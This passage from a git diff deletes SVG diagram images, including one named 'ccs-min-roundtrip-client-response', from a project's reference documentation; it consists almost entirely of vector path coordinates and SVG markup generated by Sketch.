380.685724,675.17773 381.102391,674.86523 C381.414891,674.636063 381.618016,674.354813 381.711766,674.02148 C381.774266,673.80273 381.805516,673.386063 381.805516,672.77148 L381.805516,672.27148 Z M386.649998,667.24023 L389.009373,667.24023 L389.009373,668.55273 C389.853123,667.531897 390.858332,667.02148 392.024998,667.02148 C392.649998,667.02148 393.186457,667.151688 393.634373,667.412105 C394.092707,667.662105 394.467707,668.042313 394.759373,668.55273 C395.186457,668.042313 395.64479,667.662105 396.134373,667.412105 C396.634373,667.151688 397.160415,667.02148 397.712498,667.02148 C398.420832,667.02148 399.01979,667.167313 399.509373,667.45898 C400.009373,667.74023 400.379165,668.162105 400.618748,668.724605 C400.795832,669.141272 400.884373,669.807938 400.884373,670.724605 L400.884373,676.912105 L398.321873,676.912105 L398.321873,671.380855 C398.321873,670.422522 398.233332,669.80273 398.056248,669.52148 C397.827082,669.156897 397.462498,668.974605 396.962498,668.974605 C396.608332,668.974605 396.26979,669.08398 395.946873,669.30273 C395.634373,669.52148 395.410415,669.844397 395.274998,670.27148 C395.139582,670.688147 395.071873,671.354813 395.071873,672.27148 L395.071873,676.912105 L392.509373,676.912105 L392.509373,671.61523 C392.509373,670.667313 392.462498,670.057938 392.368748,669.787105 C392.274998,669.516272 392.134373,669.313147 391.946873,669.17773 C391.759373,669.042313 391.498957,668.974605 391.165623,668.974605 C390.76979,668.974605 390.415623,669.08398 390.103123,669.30273 C389.790623,669.511063 389.561457,669.818355 389.415623,670.224605 C389.280207,670.620438 389.212498,671.281897 389.212498,672.20898 L389.212498,676.912105 L386.649998,676.912105 L386.649998,667.24023 Z M409.035252,673.83398 L411.582127,674.255855 C411.259211,675.193355 410.743586,675.906897 410.035252,676.39648 C409.326919,676.886063 408.441502,677.130855 407.379002,677.130855 C405.701919,677.130855 404.457127,676.578772 403.644627,675.474605 C403.009211,674.599605 402.691502,673.49023 402.691502,672.14648 C402.691502,670.542313 403.108169,669.287105 403.941502,668.380855 C404.785252,667.474605 405.847752,667.02148 407.129002,667.02148 C408.566502,667.02148 409.701919,667.495438 410.535252,668.443355 C411.368586,669.391272 411.764419,670.849605 411.722752,672.818355 L405.316502,672.818355 C405.337336,673.578772 405.540461,674.172522 405.925877,674.599605 C406.321711,675.016272 406.816502,675.224605 407.410252,675.224605 C407.806086,675.224605 408.139419,675.11523 408.410252,674.89648 C408.691502,674.67773 408.899836,674.323563 409.035252,673.83398 Z M409.191502,671.24023 C409.170669,670.500647 408.977961,669.938147 408.613377,669.55273 C408.248794,669.167313 407.806086,668.974605 407.285252,668.974605 C406.722752,668.974605 406.259211,669.17773 405.894627,669.58398 C405.530044,669.99023 405.352961,670.542313 405.363377,671.24023 L409.191502,671.24023 Z M415.723485,670.193355 L413.39536,669.77148 C413.666193,668.83398 414.119318,668.141272 414.754735,667.693355 C415.390151,667.245438 416.338068,667.02148 417.598485,667.02148 C418.733901,667.02148 419.58286,667.156897 420.14536,667.42773 C420.70786,667.698563 421.098485,668.042313 421.317235,668.45898 C421.546401,668.875647 421.660985,669.636063 421.660985,670.74023 L421.64536,673.74023 C421.64536,674.58398 421.681818,675.20898 421.754735,675.61523 C421.838068,676.02148 421.994318,676.453772 422.223485,676.912105 L419.692235,676.912105 C419.619318,676.745438 419.535985,676.495438 419.442235,676.162105 C419.400568,676.005855 419.369318,675.901688 419.348485,675.849605 C418.910985,676.276688 418.442235,676.599605 417.942235,676.818355 C417.452651,677.026688 416.921401,677.130855 416.348485,677.130855 C415.358901,677.130855 414.577651,676.860022 414.004735,676.318355 C413.431818,675.776688 413.14536,675.094397 413.14536,674.27148 C413.14536,673.719397 413.275568,673.229813 413.535985,672.80273 C413.796401,672.375647 414.160985,672.05273 414.629735,671.83398 C415.098485,671.604813 415.775568,671.401688 416.660985,671.224605 C417.858901,671.005855 418.687026,670.797522 419.14536,670.599605 L419.14536,670.349605 C419.14536,669.849605 419.025568,669.495438 418.785985,669.287105 C418.546401,669.078772 418.088068,668.974605 417.410985,668.974605 C416.952651,668.974605 416.593276,669.068355 416.33286,669.255855 C416.08286,669.432938 415.879735,669.745438 415.723485,670.193355 Z M419.14536,672.27148 C418.822443,672.375647 418.30161,672.505855 417.58286,672.662105 C416.874526,672.807938 416.410985,672.953772 416.192235,673.099605 C415.858901,673.339188 415.692235,673.641272 415.692235,674.005855 C415.692235,674.360022 415.827651,674.672522 416.098485,674.943355 C416.369318,675.203772 416.70786,675.33398 417.11411,675.33398 C417.58286,675.33398 418.025568,675.17773 418.442235,674.86523 C418.754735,674.636063 418.95786,674.354813 419.05161,674.02148 C419.11411,673.80273 419.14536,673.386063 419.14536,672.77148 L419.14536,672.27148 Z M424.677312,669.80273 L424.677312,667.24023 L427.239812,667.24023 L427.239812,669.80273 L424.677312,669.80273 Z M424.677312,676.912105 L424.677312,674.349605 L427.239812,674.349605 L427.239812,676.912105 L424.677312,676.912105 Z M430.327489,667.24023 L432.718114,667.24023 L432.718114,668.662105 C433.030614,668.172522 433.44728,667.776688 433.968114,667.474605 C434.499364,667.172522 435.087905,667.02148 435.733739,667.02148 C436.858739,667.02148 437.811864,667.464188 438.593114,668.349605 C439.374364,669.224605 439.764989,670.448563 439.764989,672.02148 C439.764989,673.636063 439.369155,674.891272 438.577489,675.787105 C437.785822,676.682938 436.832697,677.130855 435.718114,677.130855 C435.176447,677.130855 434.686864,677.026688 434.249364,676.818355 C433.82228,676.599605 433.369155,676.235022 432.889989,675.724605 L432.889989,680.599605 L430.327489,680.599605 L430.327489,667.24023 Z M432.858739,671.912105 C432.858739,672.995438 433.07228,673.797522 433.499364,674.318355 C433.936864,674.839188 434.462905,675.099605 435.077489,675.099605 C435.681655,675.099605 436.176447,674.860022 436.561864,674.380855 C436.957697,673.901688 437.155614,673.120438 437.155614,672.037105 C437.155614,671.026688 436.952489,670.276688 436.546239,669.787105 C436.139989,669.287105 435.63478,669.037105 435.030614,669.037105 C434.405614,669.037105 433.88478,669.281897 433.468114,669.77148 C433.061864,670.250647 432.858739,670.964188 432.858739,671.912105 Z M441.20786,671.943355 C441.20786,671.089188 441.416193,670.266272 441.83286,669.474605 C442.249526,668.672522 442.843276,668.063147 443.61411,667.64648 C444.384943,667.229813 445.244318,667.02148 446.192235,667.02148 C447.650568,667.02148 448.848485,667.495438 449.785985,668.443355 C450.723485,669.391272 451.192235,670.594397 451.192235,672.05273 C451.192235,673.511063 450.718276,674.724605 449.77036,675.693355 C448.822443,676.651688 447.634943,677.130855 446.20786,677.130855 C445.322443,677.130855 444.473485,676.932938 443.660985,676.537105 C442.858901,676.130855 442.249526,675.542313 441.83286,674.77148 C441.416193,673.99023 441.20786,673.047522 441.20786,671.943355 Z M443.83286,672.068355 C443.83286,673.037105 444.056818,673.776688 444.504735,674.287105 C444.963068,674.787105 445.525568,675.037105 446.192235,675.037105 C446.858901,675.037105 447.416193,674.787105 447.86411,674.287105 C448.322443,673.776688 448.55161,673.031897 448.55161,672.05273 C448.55161,671.104813 448.322443,670.375647 447.86411,669.86523 C447.416193,669.354813 446.858901,669.099605 446.192235,669.099605 C445.525568,669.099605 444.963068,669.354813 444.504735,669.86523 C444.056818,670.375647 443.83286,671.110022 443.83286,672.068355 Z M452.291326,674.14648 L454.853826,673.755855 C454.968409,674.255855 455.192367,674.636063 455.525701,674.89648 C455.859034,675.156897 456.327784,675.287105 456.931951,675.287105 C457.588201,675.287105 458.082992,675.162105 458.416326,674.912105 C458.645492,674.745438 458.760076,674.52148 458.760076,674.24023 C458.760076,674.042313 458.697576,673.880855 458.572576,673.755855 C458.447576,673.630855 458.161117,673.516272 457.713201,673.412105 C455.650701,672.953772 454.343409,672.537105 453.791326,672.162105 C453.030909,671.641272 452.650701,670.917313 452.650701,669.99023 C452.650701,669.14648 452.978826,668.443355 453.635076,667.880855 C454.301742,667.307938 455.327784,667.02148 456.713201,667.02148 C458.036117,667.02148 459.020492,667.24023 459.666326,667.67773 C460.312159,668.104813 460.754867,668.74023 460.994451,669.58398 L458.588201,670.02148 C458.484034,669.64648 458.286117,669.360022 457.994451,669.162105 C457.713201,668.964188 457.301742,668.86523 456.760076,668.86523 C456.093409,668.86523 455.614242,668.95898 455.322576,669.14648 C455.124659,669.281897 455.025701,669.453772 455.025701,669.662105 C455.025701,669.839188 455.109034,669.995438 455.275701,670.130855 C455.504867,670.297522 456.301742,670.537105 457.666326,670.849605 C459.030909,671.151688 459.984034,671.531897 460.525701,671.99023 C461.056951,672.438147 461.322576,673.068355 461.322576,673.880855 C461.322576,674.776688 460.952784,675.542313 460.213201,676.17773 C459.473617,676.813147 458.379867,677.130855 456.931951,677.130855 C455.609034,677.130855 454.562159,676.86523 453.791326,676.33398 C453.030909,675.792313 452.530909,675.063147 452.291326,674.14648 Z M468.010778,667.24023 L468.010778,669.27148 L466.260778,669.27148 L466.260778,673.17773 C466.260778,673.969397 466.276403,674.432938 466.307653,674.568355 C466.338903,674.693355 466.411819,674.797522 466.526403,674.880855 C466.651403,674.964188 466.797236,675.005855 466.963903,675.005855 C467.203486,675.005855 467.547236,674.922522 467.995153,674.755855 L468.213903,676.755855 C467.620153,677.005855 466.948278,677.130855 466.198278,677.130855 C465.729528,677.130855 465.307653,677.05273 464.932653,676.89648 C464.568069,676.74023 464.297236,676.542313 464.120153,676.30273 C463.953486,676.05273 463.838903,675.719397 463.776403,675.30273 C463.713903,675.000647 463.682653,674.39648 463.682653,673.49023 L463.682653,669.27148 L462.510778,669.27148 L462.510778,667.24023 L463.682653,667.24023 L463.682653,665.318355 L466.260778,663.818355 L466.260778,667.24023 L468.010778,667.24023 Z M468.879735,674.14648 L471.442235,673.755855 C471.556819,674.255855 471.780777,674.636063 472.11411,674.89648 C472.447444,675.156897 472.916194,675.287105 473.52036,675.287105 C474.17661,675.287105 474.671402,675.162105 475.004735,674.912105 C475.233902,674.745438 475.348485,674.52148 475.348485,674.24023 C475.348485,674.042313 475.285985,673.880855 475.160985,673.755855 C475.035985,673.630855 474.749527,673.516272 474.30161,673.412105 C472.23911,672.953772 470.931819,672.537105 470.379735,672.162105 C469.619319,671.641272 469.23911,670.917313 469.23911,669.99023 C469.23911,669.14648 469.567235,668.443355 470.223485,667.880855 C470.890152,667.307938 471.916194,667.02148 473.30161,667.02148 C474.624527,667.02148 475.608902,667.24023 476.254735,667.67773 C476.900569,668.104813 477.343277,668.74023 477.58286,669.58398 L475.17661,670.02148 C475.072444,669.64648 474.874527,669.360022 474.58286,669.162105 C474.30161,668.964188 473.890152,668.86523 473.348485,668.86523 C472.681819,668.86523 472.202652,668.95898 471.910985,669.14648 C471.713069,669.281897 471.61411,669.453772 471.61411,669.662105 C471.61411,669.839188 471.697444,669.995438 471.86411,670.130855 C472.093277,670.297522 472.890152,670.537105 474.254735,670.849605 C475.619319,671.151688 476.572444,671.531897 477.11411,671.99023 C477.64536,672.438147 477.910985,673.068355 477.910985,673.880855 C477.910985,674.776688 477.541194,675.542313 476.80161,676.17773 C476.062027,676.813147 474.968277,677.130855 473.52036,677.130855 C472.197444,677.130855 471.150569,676.86523 470.379735,676.33398 C469.619319,675.792313 469.119319,675.063147 468.879735,674.14648 Z M478.786687,677.14648 L482.099187,663.33398 L484.021062,663.33398 L480.677312,677.14648 L478.786687,677.14648 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M483.72,680.61523 L483.72,679.42773 L494.579375,679.42773 L494.579375,680.61523 L483.72,680.61523 Z M494.955107,674.02148 L496.580107,673.77148 C496.66344,674.417313 496.91344,674.917313 497.330107,675.27148 C497.746774,675.61523 498.330107,675.787105 499.080107,675.787105 C499.830107,675.787105 500.387399,675.636063 500.751982,675.33398 C501.116565,675.02148 501.298857,674.656897 501.298857,674.24023 C501.298857,673.875647 501.137399,673.58398 500.814482,673.36523 C500.595732,673.219397 500.03844,673.037105 499.142607,672.818355 C497.934274,672.505855 497.095732,672.24023 496.626982,672.02148 C496.168649,671.80273 495.81969,671.500647 495.580107,671.11523 C495.340524,670.719397 495.220732,670.281897 495.220732,669.80273 C495.220732,669.375647 495.31969,668.979813 495.517607,668.61523 C495.715524,668.24023 495.986357,667.932938 496.330107,667.693355 C496.580107,667.505855 496.923857,667.349605 497.361357,667.224605 C497.809274,667.089188 498.283232,667.02148 498.783232,667.02148 C499.543649,667.02148 500.210315,667.130855 500.783232,667.349605 C501.356149,667.568355 501.778024,667.86523 502.048857,668.24023 C502.330107,668.61523 502.522815,669.11523 502.626982,669.74023 L501.017607,669.95898 C500.94469,669.45898 500.731149,669.068355 500.376982,668.787105 C500.033232,668.505855 499.543649,668.36523 498.908232,668.36523 C498.147815,668.36523 497.606149,668.49023 497.283232,668.74023 C496.970732,668.99023 496.814482,669.281897 496.814482,669.61523 C496.814482,669.823563 496.876982,670.016272 497.001982,670.193355 C497.137399,670.370438 497.35094,670.516272 497.642607,670.630855 C497.798857,670.693355 498.278024,670.83398 499.080107,671.05273 C500.246774,671.354813 501.059274,671.604813 501.517607,671.80273 C501.97594,672.000647 502.335315,672.287105 502.595732,672.662105 C502.856149,673.037105 502.986357,673.505855 502.986357,674.068355 C502.986357,674.620438 502.824899,675.136063 502.501982,675.61523 C502.189482,676.094397 501.731149,676.469397 501.126982,676.74023 C500.522815,677.000647 499.840524,677.130855 499.080107,677.130855 C497.830107,677.130855 496.871774,676.870438 496.205107,676.349605 C495.548857,675.828772 495.13219,675.05273 494.955107,674.02148 Z M511.564482,673.80273 L513.252012,674.005855 C512.981179,674.995438 512.486377,675.766272 511.767607,676.318355 C511.048857,676.860022 510.126982,677.130855 509.001982,677.130855 C507.585315,677.130855 506.460315,676.698563 505.626982,675.83398 C504.804065,674.95898 504.392607,673.735022 504.392607,672.162105 C504.392607,670.526688 504.809274,669.261063 505.642607,668.36523 C506.486357,667.469397 507.574899,667.02148 508.908232,667.02148 C510.199899,667.02148 511.251992,667.464188 512.064512,668.349605 C512.887429,669.224605 513.298887,670.45898 513.298887,672.05273 C513.298887,672.156897 513.298887,672.30273 513.298887,672.49023 L506.080107,672.49023 C506.142607,673.55273 506.44469,674.370438 506.986357,674.943355 C507.528024,675.505855 508.199899,675.787105 509.001982,675.787105 C509.606149,675.787105 510.121774,675.630855 510.548857,675.318355 C510.97594,674.995438 511.314482,674.49023 511.564482,673.80273 Z M506.173857,671.14648 L511.580107,671.14648 C511.50719,670.33398 511.298857,669.724605 510.955107,669.318355 C510.434274,668.682938 509.75719,668.36523 508.923857,668.36523 C508.173857,668.36523 507.53844,668.620438 507.017607,669.130855 C506.50719,669.630855 506.22594,670.30273 506.173857,671.14648 Z M521.627684,675.724605 C521.013101,676.235022 520.424559,676.599605 519.862059,676.818355 C519.309976,677.026688 518.711017,677.130855 518.065184,677.130855 C517.002684,677.130855 516.184976,676.870438 515.612059,676.349605 C515.039142,675.828772 514.752684,675.167313 514.752684,674.36523 C514.752684,673.886063 514.862059,673.453772 515.080809,673.068355 C515.299559,672.672522 515.580809,672.360022 515.924559,672.130855 C516.278726,671.891272 516.674559,671.70898 517.112059,671.58398 C517.424559,671.500647 517.908934,671.417313 518.565184,671.33398 C519.888101,671.17773 520.862059,670.99023 521.487059,670.77148 C521.497476,670.542313 521.502684,670.401688 521.502684,670.349605 C521.502684,669.682938 521.346434,669.20898 521.033934,668.92773 C520.617267,668.563147 519.992267,668.380855 519.158934,668.380855 C518.388101,668.380855 517.820392,668.516272 517.455809,668.787105 C517.091226,669.057938 516.820392,669.531897 516.643309,670.20898 L515.033934,669.99023 C515.179767,669.313147 515.419351,668.766272 515.752684,668.349605 C516.086017,667.922522 516.570392,667.594397 517.205809,667.36523 C517.841226,667.136063 518.570392,667.02148 519.393309,667.02148 C520.226642,667.02148 520.898517,667.120438 521.408934,667.318355 C521.929767,667.505855 522.309976,667.750647 522.549559,668.05273 C522.799559,668.344397 522.971434,668.714188 523.065184,669.162105 C523.117267,669.443355 523.143309,669.948563 523.143309,670.67773 L523.143309,672.86523 C523.143309,674.386063 523.179767,675.349605 523.252684,675.755855 C523.325601,676.151688 523.461017,676.537105 523.658934,676.912105 L521.955809,676.912105 C521.778726,676.568355 521.669351,676.172522 521.627684,675.724605 Z M521.487059,672.05273 C520.893309,672.30273 520.002684,672.511063 518.815184,672.67773 C518.138101,672.77148 517.658934,672.880855 517.377684,673.005855 C517.096434,673.130855 516.877684,673.307938 516.721434,673.537105 C516.575601,673.766272 516.502684,674.026688 516.502684,674.318355 C516.502684,674.755855 516.669351,675.120438 517.002684,675.412105 C517.336017,675.703772 517.820392,675.849605 518.455809,675.849605 C519.080809,675.849605 519.638101,675.714188 520.127684,675.443355 C520.627684,675.162105 520.992267,674.781897 521.221434,674.30273 C521.398517,673.92773 521.487059,673.380855 521.487059,672.662105 L521.487059,672.05273 Z M525.675291,676.912105 L525.675291,667.24023 L527.144041,667.24023 L527.144041,668.70898 C527.519041,668.02148 527.862791,667.568355 528.175291,667.349605 C528.498208,667.130855 528.852375,667.02148 529.237791,667.02148 C529.789875,667.02148 530.352375,667.198563 530.925291,667.55273 L530.362791,669.068355 C529.956541,668.828772 529.5555,668.70898 529.159666,668.70898 C528.795083,668.70898 528.472166,668.818355 528.190916,669.037105 C527.909666,669.255855 527.706541,669.55273 527.581541,669.92773 C527.394041,670.511063 527.300291,671.151688 527.300291,671.849605 L527.300291,676.912105 L525.675291,676.912105 Z M538.216124,673.36523 L539.825499,673.58398 C539.648416,674.688147 539.195291,675.557938 538.466124,676.193355 C537.747374,676.818355 536.856749,677.130855 535.794249,677.130855 C534.471332,677.130855 533.408832,676.698563 532.606749,675.83398 C531.804666,674.969397 531.403624,673.729813 531.403624,672.11523 C531.403624,671.063147 531.575499,670.14648 531.919249,669.36523 C532.262999,668.58398 532.789041,668.000647 533.497374,667.61523 C534.205707,667.219397 534.976541,667.02148 535.809874,667.02148 C536.861957,667.02148 537.721332,667.287105 538.387999,667.818355 C539.054666,668.349605 539.481749,669.104813 539.669249,670.08398 L538.075499,670.318355 C537.919249,669.672522 537.648416,669.188147 537.262999,668.86523 C536.877582,668.531897 536.414041,668.36523 535.872374,668.36523 C535.049457,668.36523 534.377582,668.662105 533.856749,669.255855 C533.335916,669.849605 533.075499,670.787105 533.075499,672.068355 C533.075499,673.370438 533.325499,674.318355 533.825499,674.912105 C534.325499,675.495438 534.976541,675.787105 535.778624,675.787105 C536.424457,675.787105 536.960916,675.589188 537.387999,675.193355 C537.825499,674.797522 538.101541,674.188147 538.216124,673.36523 Z M541.231749,676.912105 L541.231749,663.55273 L542.872374,663.55273 L542.872374,668.349605 C543.632791,667.464188 544.596332,667.02148 545.762999,667.02148 C546.481749,667.02148 547.101541,667.162105 547.622374,667.443355 C548.153624,667.724605 548.533832,668.11523 548.762999,668.61523 C548.992166,669.11523 549.106749,669.839188 549.106749,670.787105 L549.106749,676.912105 L547.466124,676.912105 L547.466124,670.787105 C547.466124,669.964188 547.289041,669.36523 546.934874,668.99023 C546.580707,668.61523 546.075499,668.42773 545.419249,668.42773 C544.940082,668.42773 544.486957,668.557938 544.059874,668.818355 C543.632791,669.068355 543.325499,669.406897 543.137999,669.83398 C542.960916,670.261063 542.872374,670.854813 542.872374,671.61523 L542.872374,676.912105 L541.231749,676.912105 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/ccs/ccs-min-roundtrip-client-response.svg b/docs/reference/images/ccs/ccs-min-roundtrip-client-response.svg
deleted file mode 100644
index e806b2c4731..00000000000
--- a/docs/reference/images/ccs/ccs-min-roundtrip-client-response.svg
+++ /dev/null
@@ -1,79 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="797px" height="646px" viewBox="0 0 797 646" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <defs>
-        <polygon id="path-1" points="0 0 960 0 960 768 0 768"></polygon>
-    </defs>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="ccs-min-roundtrip-client-response" transform="translate(-17.000000, -66.000000)">
-            <mask id="mask-2" fill="white">
-                <use xlink:href="#path-1"></use>
-            </mask>
-            <g id="Path"></g>
-            <g id="Group" mask="url(#mask-2)">
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="0 0 960 0 960 768 0 768"></polygon>
-                <path d="M205.454064,383.99878 L205.454064,383.99878 C205.454064,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.454064,383.99878 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M205.454064,383.99878 L205.454064,383.99878 C205.454064,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.454064,383.99878 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="255.72198 251.88045 444.09994 251.88045 444.09994 292.321383 255.72198 292.321383"></polygon>
-                <path d="M289.93912,278.98795 C288.491203,278.98795 287.371412,278.545242 286.579745,277.659825 C285.788078,276.763992 285.392245,275.503575 285.392245,273.878575 C285.392245,272.201492 285.793287,270.909825 286.59537,270.003575 C287.40787,269.086908 288.553703,268.628575 290.03287,268.628575 C290.512037,268.628575 290.991203,268.680658 291.47037,268.784825 C291.959953,268.888992 292.340162,269.013992 292.610995,269.159825 L292.142245,270.441075 C291.808912,270.305658 291.444328,270.196283 291.048495,270.11295 C290.652662,270.0192 290.303703,269.972325 290.00162,269.972325 C287.97037,269.972325 286.954745,271.263992 286.954745,273.847325 C286.954745,275.076492 287.199537,276.0192 287.68912,276.67545 C288.18912,277.3317 288.928703,277.659825 289.90787,277.659825 C290.741203,277.659825 291.590162,277.482742 292.454745,277.128575 L292.454745,278.4567 C291.788078,278.810867 290.949537,278.98795 289.93912,278.98795 Z M296.336489,278.80045 L294.836489,278.80045 L294.836489,264.628575 L296.336489,264.628575 L296.336489,278.80045 Z M300.977084,268.816075 L300.977084,275.30045 C300.977084,276.11295 301.159376,276.722325 301.523959,277.128575 C301.898959,277.524408 302.477084,277.722325 303.258334,277.722325 C304.310417,277.722325 305.076042,277.435867 305.555209,276.86295 C306.034376,276.290033 306.273959,275.357742 306.273959,274.066075 L306.273959,268.816075 L307.789584,268.816075 L307.789584,278.80045 L306.539584,278.80045 L306.320834,277.4567 L306.242709,277.4567 C305.930209,277.9567 305.497917,278.336908 304.945834,278.597325 C304.404167,278.857742 303.779167,278.98795 303.070834,278.98795 C301.862501,278.98795 300.956251,278.701492 300.352084,278.128575 C299.747917,277.545242 299.445834,276.618158 299.445834,275.347325 L299.445834,268.816075 L300.977084,268.816075 Z M317.443362,276.0817 C317.443362,277.008783 317.094404,277.727533 316.396487,278.23795 C315.708987,278.73795 314.740237,278.98795 313.490237,278.98795 C312.16732,278.98795 311.13607,278.774408 310.396487,278.347325 L310.396487,276.9567 C310.875654,277.196283 311.38607,277.388992 311.927737,277.534825 C312.47982,277.670242 313.01107,277.73795 313.521487,277.73795 C314.313154,277.73795 314.922529,277.61295 315.349612,277.36295 C315.776695,277.102533 315.990237,276.717117 315.990237,276.2067 C315.990237,275.821283 315.818362,275.48795 315.474612,275.2067 C315.141279,274.92545 314.485029,274.597325 313.505862,274.222325 C312.578779,273.878575 311.91732,273.5817 311.521487,273.3317 C311.13607,273.071283 310.844404,272.779617 310.646487,272.4567 C310.458987,272.123367 310.365237,271.727533 310.365237,271.2692 C310.365237,270.4567 310.693362,269.816075 311.349612,269.347325 C312.016279,268.868158 312.927737,268.628575 314.083987,268.628575 C315.156904,268.628575 316.203779,268.847325 317.224612,269.284825 L316.693362,270.5192 C315.693362,270.102533 314.787112,269.8942 313.974612,269.8942 C313.255862,269.8942 312.714195,270.008783 312.349612,270.23795 C311.985029,270.467117 311.802737,270.774408 311.802737,271.159825 C311.802737,271.430658 311.870445,271.659825 312.005862,271.847325 C312.141279,272.034825 312.360029,272.217117 312.662112,272.3942 C312.964195,272.560867 313.547529,272.805658 314.412112,273.128575 C315.599612,273.555658 316.401695,273.98795 316.818362,274.42545 C317.235029,274.86295 317.443362,275.415033 317.443362,276.0817 Z M323.124575,277.73795 C323.395409,277.73795 323.650617,277.717117 323.8902,277.67545 C324.1402,277.633783 324.338117,277.592117 324.48395,277.55045 L324.48395,278.7067 C324.3277,278.790033 324.088117,278.857742 323.7652,278.909825 C323.442284,278.961908 323.155825,278.98795 322.905825,278.98795 C320.978742,278.98795 320.0152,277.967117 320.0152,275.92545 L320.0152,269.98795 L318.5777,269.98795 L318.5777,269.2692 L320.0152,268.628575 L320.6402,266.503575 L321.5152,266.503575 L321.5152,268.816075 L324.42145,268.816075 L324.42145,269.98795 L321.5152,269.98795 L321.5152,275.86295 C321.5152,276.467117 321.655825,276.930658 321.937075,277.253575 C322.228742,277.576492 322.624575,277.73795 323.124575,277.73795 Z M330.710757,278.98795 C329.23159,278.98795 328.064924,278.540033 327.210757,277.6442 C326.35659,276.73795 325.929507,275.48795 325.929507,273.8942 C325.929507,272.279617 326.32534,270.998367 327.117007,270.05045 C327.908674,269.102533 328.971174,268.628575 330.304507,268.628575 C331.564924,268.628575 332.554507,269.040033 333.273257,269.86295 C334.002424,270.685867 334.367007,271.774408 334.367007,273.128575 L334.367007,274.0817 L327.492007,274.0817 C327.523257,275.258783 327.820132,276.149408 328.382632,276.753575 C328.945132,277.357742 329.736799,277.659825 330.757632,277.659825 C331.830549,277.659825 332.893049,277.435867 333.945132,276.98795 L333.945132,278.3317 C333.413882,278.560867 332.908674,278.727533 332.429507,278.8317 C331.95034,278.935867 331.377424,278.98795 330.710757,278.98795 Z M330.288882,269.8942 C329.486799,269.8942 328.846174,270.159825 328.367007,270.691075 C327.898257,271.211908 327.622215,271.930658 327.538882,272.847325 L332.757632,272.847325 C332.757632,271.899408 332.54409,271.170242 332.117007,270.659825 C331.689924,270.149408 331.080549,269.8942 330.288882,269.8942 Z M341.505679,268.628575 C341.953596,268.628575 342.349429,268.665033 342.693179,268.73795 L342.490054,270.1442 C342.073387,270.05045 341.708804,270.003575 341.396304,270.003575 C340.594221,270.003575 339.901512,270.3317 339.318179,270.98795 C338.745262,271.6442 338.458804,272.461908 338.458804,273.441075 L338.458804,278.80045 L336.958804,278.80045 L336.958804,268.816075 L338.193179,268.816075 L338.380679,270.659825 L338.443179,270.659825 C338.818179,270.013992 339.266096,269.513992 339.786929,269.159825 C340.307762,268.805658 340.880679,268.628575 341.505679,268.628575 Z M344.355593,277.8317 C344.355593,277.42545 344.444135,277.118158 344.621218,276.909825 C344.808718,276.701492 345.074343,276.597325 345.418093,276.597325 C345.77226,276.597325 346.048302,276.701492 346.246218,276.909825 C346.444135,277.118158 346.543093,277.42545 346.543093,277.8317 C346.543093,278.227533 346.444135,278.534825 346.246218,278.753575 C346.048302,278.961908 345.77226,279.066075 345.418093,279.066075 C345.11601,279.066075 344.860802,278.972325 344.652468,278.784825 C344.454552,278.586908 344.355593,278.2692 344.355593,277.8317 Z M344.355593,269.784825 C344.355593,268.972325 344.70976,268.566075 345.418093,268.566075 C346.168093,268.566075 346.543093,268.972325 346.543093,269.784825 C346.543093,270.180658 346.444135,270.48795 346.246218,270.7067 C346.048302,270.915033 345.77226,271.0192 345.418093,271.0192 C345.11601,271.0192 344.860802,270.92545 344.652468,270.73795 C344.454552,270.540033 344.355593,270.222325 344.355593,269.784825 Z M358.604037,278.98795 C357.124871,278.98795 355.958204,278.540033 355.104037,277.6442 C354.249871,276.73795 353.822787,275.48795 353.822787,273.8942 C353.822787,272.279617 354.218621,270.998367 355.010287,270.05045 C355.801954,269.102533 356.864454,268.628575 358.197787,268.628575 C359.458204,268.628575 360.447787,269.040033 361.166537,269.86295 C361.895704,270.685867 362.260287,271.774408 362.260287,273.128575 L362.260287,274.0817 L355.385287,274.0817 C355.416537,275.258783 355.713412,276.149408 356.275912,276.753575 C356.838412,277.357742 357.630079,277.659825 358.650912,277.659825 C359.723829,277.659825 360.786329,277.435867 361.838412,276.98795 L361.838412,278.3317 C361.307162,278.560867 360.801954,278.727533 360.322787,278.8317 C359.843621,278.935867 359.270704,278.98795 358.604037,278.98795 Z M358.182162,269.8942 C357.380079,269.8942 356.739454,270.159825 356.260287,270.691075 C355.791537,271.211908 355.515496,271.930658 355.432162,272.847325 L360.650912,272.847325 C360.650912,271.899408 360.437371,271.170242 360.010287,270.659825 C359.583204,270.149408 358.973829,269.8942 358.182162,269.8942 Z M366.273959,268.816075 L366.273959,275.30045 C366.273959,276.11295 366.456251,276.722325 366.820834,277.128575 C367.195834,277.524408 367.773959,277.722325 368.555209,277.722325 C369.607293,277.722325 370.372918,277.435867 370.852084,276.86295 C371.331251,276.290033 371.570834,275.357742 371.570834,274.066075 L371.570834,268.816075 L373.086459,268.816075 L373.086459,278.80045 L371.836459,278.80045 L371.617709,277.4567 L371.539584,277.4567 C371.227084,277.9567 370.794793,278.336908 370.242709,278.597325 C369.701043,278.857742 369.076043,278.98795 368.367709,278.98795 C367.159376,278.98795 366.253126,278.701492 